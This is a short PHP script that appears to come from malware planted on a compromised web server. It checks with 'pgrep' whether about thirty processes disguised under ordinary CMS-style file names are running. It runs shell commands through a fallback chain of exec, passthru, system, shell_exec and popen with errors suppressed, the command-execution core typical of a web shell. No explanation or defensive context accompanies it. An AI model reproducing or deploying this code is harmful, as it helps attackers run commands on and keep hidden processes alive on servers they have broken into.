<?php   $files = ['proj_details_new','index_def','dbstructure','edit.menu.item','defaults','referral_view','Percentage','com_docman','mainfile.dist','cache_topicadmin','errorpages','gacl.class','Hypertext','test_rs_array','TimeZone','hiddenselect','storyform.inc','config_metadata','import.lib','Content.inc','customer','pollshome','header.inc','publiccat','phocagalleryt','ot_finance','cookie_functions','recipe_top','class.mimetype','inbox_message']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }